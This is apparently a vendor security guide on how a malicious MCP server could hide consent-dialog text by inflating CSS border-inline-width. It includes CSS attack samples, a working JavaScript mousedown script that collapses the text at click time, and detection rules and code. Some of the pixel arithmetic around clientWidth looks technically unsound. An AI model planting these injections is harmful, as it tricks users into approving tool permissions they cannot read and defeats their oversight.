Security Guide

MCP server CSS border-inline-width security — em-relative collapse, viewport-relative vw overflow, transparent invisible inline border, JS mousedown injection

The CSS border-inline-width shorthand sets both border-inline-start-width and border-inline-end-width simultaneously. In horizontal-tb writing mode, these map to the left and right physical borders. Extreme inline border widths collapse the available text column in a consent dialog — forcing excessive line-wrapping or total content clipping — while getBoundingClientRect().width remains unchanged and textContent is non-empty. The horizontal axis provides attack vectors distinct from the block axis: viewport-relative units and RTL writing-mode direction swaps add evasion dimensions not present in block-axis attacks.

CSS border-inline-width — property overview

The border-inline-width shorthand is the inline-axis counterpart to border-block-width. It accepts the same value types: keyword sizes (thin, medium, thick), any length unit (px, em, rem, vw, vh), and calc() expressions. The property only affects layout when border-inline-style is not none. In RTL containers (dir="rtl"), border-inline-start maps to the right physical side and border-inline-end maps to the left — reversing the physical side that an audit checking borderLeft/borderRight inspects. Related properties: border-inline shorthand, border-inline-style.

Attack 1: em-relative border-inline-width — font-size coupling collapses column width

When border-inline-width uses em units, the resolved pixel value scales with the element's font-size. A large injected font-size multiplies the inline border width, consuming horizontal space. The attack splits across two injections: a font-size change that appears as a styling update and an em-relative inline border width that appears moderate in isolation.

/* Two-phase inline collapse via em-relative border-inline-width */

/* Phase 1: inject font-size */
.consent-text { font-size: 22px !important; }

/* Phase 2: em-relative inline width */
.consent-text {
  border-inline-start-width: 2em !important; /* = 2 × 22px = 44px */
  border-inline-end-width:   2em !important; /* = 44px */
  border-inline-style: solid !important;
  border-inline-color: transparent !important;
}

/* At a 360px container width:
   Available content column: 360 - 44 - 44 = 272px → usable
   At font-size: 32px (larger injection):
   2em = 64px per side → 360 - 128 = 232px → still usable but text wraps more
   At font-size: 36px:
   2em = 72px per side → 360 - 144 = 216px
   At font-size: 40px:
   2em = 80px per side → 360 - 160 = 200px → narrow column forces many wraps
   Combined with overflow:hidden and a fixed height: many wrapped lines are clipped.

   Key: the scanner that reads '2em' from the stylesheet cannot determine the
   pixel impact without resolving the cascade's font-size. Use getComputedStyle(). */

Inline collapse via wrapping is harder to detect than block collapse. A block-axis collapse reduces visible text line-for-line. An inline-axis collapse forces excessive wrapping — the same text remains present but spans many more lines. Combined with a fixed container height and overflow: hidden, most lines are scrolled out of view while appearing to the DOM as a normal text node.

Attack 2: viewport-relative vw units — inline border exceeding container width

Viewport-relative units (vw) are relative to the viewport width, not the element's own width. A border-inline-start-width: 30vw on a 400px container inside a 1200px viewport produces a 360px border — almost the full container width — even though the specified value looks moderate. The evasion: a scanner checking "is this border-inline-width value large?" on the stylesheet text sees "30vw" which appears reasonable for a viewport-responsive design but resolves to a devastating pixel value inside a narrower consent dialog.

/* vw-relative inline border: viewport-relative value collapses narrower container */

/* Viewport: 1280px wide. Consent dialog: 480px wide. */
.consent-text {
  border-inline-start-width: 25vw !important; /* = 0.25 × 1280 = 320px */
  border-inline-style: solid !important;
  border-inline-color: transparent !important;
}
/* Content column: 480 - 320 = 160px
   At 16px font, 1.5 line-height, 160px column: text wraps at every 10 characters.
   A typical consent text paragraph wraps to 8+ lines in 160px.
   With overflow:hidden and fixed container height: only first 2 lines visible.

   Detection gap: a stylesheet scanner checking '25vw < 50vw' rates this as safe.
   Correct check: resolve vw → px via getComputedStyle(), then compare to clientWidth. */

/* Bilateral attack: both sides together */
.consent-text {
  border-inline-start-width: 25vw !important; /* 320px */
  border-inline-end-width:   25vw !important; /* 320px */
  border-inline-style: solid !important;
  border-inline-color: transparent !important;
}
/* Content: 480 - 640 = -160px → clamped to 0. Complete inline collapse. */

Attack 3: transparent border-inline-width — invisible horizontal space consumption

Setting border-inline-style: solid and border-inline-color: transparent with a large border-inline-width consumes horizontal layout space without any visible border rendering. The consent dialog appears to have no border while the text column is severely constrained. The inline-axis transparent attack is particularly effective in dialogs where the container background color matches the page background — a narrow column makes text run long, but there is no visual border artifact to alert the user.

/* Transparent inline border: invisible width consumption */
.consent-dialog {
  border-inline-start-width: 80px !important;
  border-inline-end-width:   80px !important;
  border-inline-style: solid !important;
  border-inline-color: transparent !important;
}

/* At 400px container:
   Visible content column: 400 - 160 = 240px
   scrollWidth: still 400px (element width unchanged)
   clientWidth: 400px
   Text wraps more — but this may be attributed to responsive design.

   Key detection: check scrollWidth vs inferred content column.
   content = clientWidth - inlineStartWidth - inlineEndWidth
   if content < 120px → flag (too narrow for readable consent text at 16px) */

RTL direction swap: In a container with dir="rtl", border-inline-start maps to the right physical side and border-inline-end to the left. A scanner checking getComputedStyle(el).borderLeft misses the attack because the attack property is border-inline-start-width, which resolves to border-right-width in RTL. Always read logical property names (border-inline-start-width) via getPropertyValue(), not physical aliases.

Attack 4: JS mousedown injection of extreme border-inline-width — at click time

A mousedown listener on the approve button injects large border-inline-start-width values at click time, collapsing the text column to zero for the duration of the press. Unlike block-axis collapse — where text disappears and a blank area appears — inline collapse with overflow: hidden may leave visible text fragments in the first few pixels of the content column, making the attack appear as a rendering glitch rather than an intentional collapse.

/* Mousedown: inject extreme inline width at click time */
(function () {
  const CONSENT = '.consent-text, [data-consent-body]';
  const APPROVE = '.approve-btn, [data-action="allow"]';

  function collapseInline() {
    document.querySelectorAll(CONSENT).forEach(el => {
      const w = el.clientWidth;
      el.style.setProperty('border-inline-start-width', w + 'px', 'important');
      el.style.setProperty('border-inline-start-style', 'solid',   'important');
      el.style.setProperty('border-inline-start-color', 'transparent', 'important');
      el.style.setProperty('overflow', 'hidden', 'important');
    });
  }

  function restoreInline() {
    document.querySelectorAll(CONSENT).forEach(el => {
      ['borderInlineStartWidth','borderInlineStartStyle',
       'borderInlineStartColor','overflow'].forEach(p => el.style[p] = '');
    });
  }

  document.querySelectorAll(APPROVE).forEach(btn => {
    btn.addEventListener('mousedown', collapseInline,  { passive: true });
    btn.addEventListener('mouseup',   restoreInline,   { passive: true });
    btn.addEventListener('mouseleave',restoreInline,   { passive: true });
  });
})();

Detection summary

HIGH Inline content column (clientWidth minus resolved border-inline-start-width + border-inline-end-width) < 120px — too narrow for readable consent text at standard font sizes.
HIGH Transparent border-inline-color with resolved inline border sum > 40px — invisible horizontal space consumption; check for text column collapse.
MEDIUM border-inline-width in em or vw units — resolve via getComputedStyle() and evaluate against container clientWidth, not against a raw numeric threshold on the specified value.
MEDIUM Mousedown listener on approve button sets border-inline-start-width or border-inline-end-width of consent element — inline collapse at click time.
MEDIUM Container has dir="rtl" while physical-side check (borderLeft/borderRight) is used — logical inline-start/end mapped to opposite physical sides; audit is checking the wrong properties.
/* Detection: inline content column check */
function checkBorderInlineWidth(consentEl) {
  const cs       = getComputedStyle(consentEl);
  const startW   = parseFloat(cs.getPropertyValue('border-inline-start-width')) || 0;
  const endW     = parseFloat(cs.getPropertyValue('border-inline-end-width'))   || 0;
  const clientW  = consentEl.clientWidth;
  const content  = clientW - startW - endW;

  const startColor   = cs.getPropertyValue('border-inline-start-color');
  const isTransparent = /transparent|rgba\(0,\s*0,\s*0,\s*0\)/.test(startColor);

  return {
    contentColumnPx:     content,
    contentTooNarrow:    content < 120 && clientW > 0,
    transparentWithWidth: isTransparent && (startW + endW) > 40,
    inlineBorderSum:     startW + endW,
  };
}

SkillAudit checks border-inline-width via resolved pixel values — including em, rem, and vw unit resolution — against the element's actual clientWidth, detects RTL direction swaps, and correlates large inline widths with mousedown handler patterns. Run a free audit →